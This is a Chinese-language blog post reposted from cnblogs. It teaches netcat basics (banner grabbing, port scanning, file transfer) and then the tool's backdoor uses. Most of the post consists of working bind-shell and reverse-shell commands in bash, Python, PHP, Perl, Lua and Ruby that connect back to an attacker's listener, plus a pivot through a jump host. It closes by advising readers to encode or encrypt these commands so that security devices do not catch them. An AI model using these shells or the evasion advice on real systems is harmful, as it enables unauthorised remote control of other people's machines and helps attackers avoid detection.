netcat入门指南及nc后门的常见利用方式

netcat入门指南及nc后门的几种利用方式 来自 https://www.cnblogs.com/iAmSoScArEd/p/17103315.html - 我超怕的

1、查看nc工具帮助信息

nc -h #后期可以通过该命令查看已经忘记的命令参数,也可以用来探索具体有哪些功能

2、获取部分端口Banner信息

nc -nv 192.168.0.1 22 #-n表示不通过域名,直接使用IP地址(可以不加); -v表示输出详细的执行信息。 此方法仅部分协议生效如FTP、SSH等

3、连接指定端口

nc -nvv 192.168.0.1 80 #-vv表示输出最详细的执行信息,根据返回信息此方法亦可判断该端口是否开放

4、批量探测端口是否开放

nc -z 192.168.0.1 1-1024 #-z仅连接,不接收控制台输入内容,常用于扫描;
nc -zv 192.168.0.1 1-1024 #若需要查看连接失败的端口可加-v 或 -vv 参数;
nc -zvv 192.168.0.1 1-1024 -w 3 #解决扫描慢问题 ,-w 设置超时时间单位秒,根据需要自行调整。

【点击此处查看输出示例】
MacBook-Pro:~ root$ nc -zv 192.168.0.1 1-22
nc: connectx to 192.168.0.1 port 1 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 2 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 3 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 4 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 5 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 6 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 7 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 8 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 9 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 10 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 11 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 12 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 13 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 14 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 15 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 16 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 17 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 18 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 19 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 21 (tcp) failed: Connection refused
Connection to 192.168.0.1 port 22 [tcp/ssh] succeeded!
MacBook-Pro:~ root$ nc -z 192.168.0.1 1-22
Connection to 192.168.0.1 port 22 [tcp/ssh] succeeded!

5、监听本地端口

注意:这种监听方式,将会接受任何服务请求过来的数据,包括http,使用起来非常方便。

一般场景:
1、对方主机处于内网可出公网,但无公网ip,你无法主动连接对方主机,导致你无法下发控制命令。此时需要由你监听端口,等待对方主动连接你进行命令下发。
2、临时传输文件、传输文本等信息(6、7将会进行简单介绍)

监听命令:
nc -lp 6666

6、传输文件

假设需要把A主机(192.168.0.1)的 password.txt 给B主机(192.168.0.2)
第一步:B主机(192.168.0.2)执行 nc -lvp 6666 > password.txt 等待A主机发送文件后保存到当前目录
第二步:A主机(192.168.0.1)执行nc 192.168.0.2 6666 < password.txt 将当前目录的password.txt传送给B主机的6666端口

7、传输文本(1v1文本聊天)

假设两台主机:A主机(192.168.0.1) B主机(192.168.0.2)
任意主机作为被连端(可理解为服务端)等待连接。这里假设A为被连端 nc -lp 6666
另一台主机主动连接被连端(可理解为服务端),这里使用B连接A nc 192.168.0.1 6666
之后任意主机输入文本并回车发送对方都会收到该消息,任意一方离开会话断开。

8、主动连接对方Shell(正向Shell)

1、目标远程主机
Linux :nc -lvvp 6666 -e /bin/sh #-e将传来的数据重定向到指定程序处理
Windows: nc -lvvp 6666 -e c:\windows\system32\cmd.exe
2、攻击主机执行 nc 192.168.0.1 6666 连接到被攻击主机的指定端口即可获得对方的Shell
3、攻击主机终端可正常输入命令执行

9、被动连接对方Shell(反弹Shell)

1、攻击主机执行 nc -lvvp 6666 等待被攻击主机主动连接建立 Shell 通道
2、被攻击主机执行
Linux :nc 192.168.0.2 6666 -e /bin/sh #-e将传来的数据重定向到指定程序处理
Windows: nc 192.168.0.2 6666 -e c:\windows\system32\cmd.exe
3、攻击主机终端可正常输入命令执行

10、对方主机无nc - 通过Bash获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机执行bash -i >& /dev/tcp/192.168.0.1/6666 0>&1 # -i 创建一个交互式Shell,>&将输出内容给远程主机,0>&1 将标准输入(通常指键盘)内容重定向给标准输出
3、攻击主机终端可正常输入命令执行

11、对方主机无nc - 通过Python获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机执行python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
格式化一下内容便于理解:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建IPv4的TCP Socket
s.connect(("192.168.0.1",6666)) # socket连接到远程主机的6666端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)# 分别将bash shell的 0,1,2 标准输入、标准输出、标准错误输出的指针复制给当前会话,将攻击主机的输入作为当前shell的输入,当前主机的标准和错误输出又因为socket被传输给攻击主机
p=subprocess.call(["/bin/sh","-i"])# 创建子进程 运行一个交互式shell

3、攻击主机终端可正常输入命令执行

12、对方主机无nc - 通过PHP获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机执行php -r '$s=fsockopen("192.168.0.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");' // &3 描述符为PHP创建套接字后新的描述符,<&3 >&3 2>&3分别表示将输入、输出、错误描述符都重定向给套接字,以此来传递执行命令的输入输出
3、攻击主机终端可正常输入命令执行

13、对方主机无nc - 通过Perl获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机执行perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(6666,inet_aton("192.168.0.1")))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3、攻击主机终端可正常输入命令执行

12、对方主机无nc - 通过Lua获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机执行 lua -e "require('socket');require('os');s=socket.tcp();s:connect('192.168.0.1','6666');os.execute('/bin/sh -i <&3 >&3 2>&3');"
3、攻击主机终端可正常输入命令执行

12、对方主机无nc - 通过Ruby获取反弹Shell

1、攻击主机执行nc -lvvp 6666 等待被攻击主机主动连接
2、被攻击主机
方法一:与前述多种脚本语言原理一致,执行ruby -rsocket -e's=TCPSocket.open("192.168.0.1",6666).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'

方法二:也可以不使用系统bash,而是直接执行cmd,并不断的等待socket输入后执行,执行后输出给socket
ruby -rsocket -e 'exit if fork;s=TCPSocket.new("192.168.0.1","6666");while(cmd=s.gets);IO.popen(cmd,"r"){|io|s.print io.read}end'
3、攻击主机终端可正常输入命令执行

13、跳板反弹Shell

通常用在 攻击主机与被攻击主机无法互通,但跳板机可互通双方的场景,也可用在隐藏攻击机时使用跳板
1、攻击主机(192.168.0.1)执行nc -lvp 6666
2、被攻击主机(10.0.1.1)执行nc -lvp 6666 -e /bin/sh
3、跳板机(10.0.2.1)执行nc -v 10.0.1.1 6666 -c "nc -v 192.168.0.1 6666" # -c执行shell命令 以此转发

以上为基础学习内容,现实环境中,上述命令大多都在安全设备的检测规则中。建议上述命令可灵活编码、加密后执行,逃脱安全设备拦截、告警。

posted @ 2023-02-09 22:08  我超怕的  阅读(524)  评论(0编辑  收藏  举报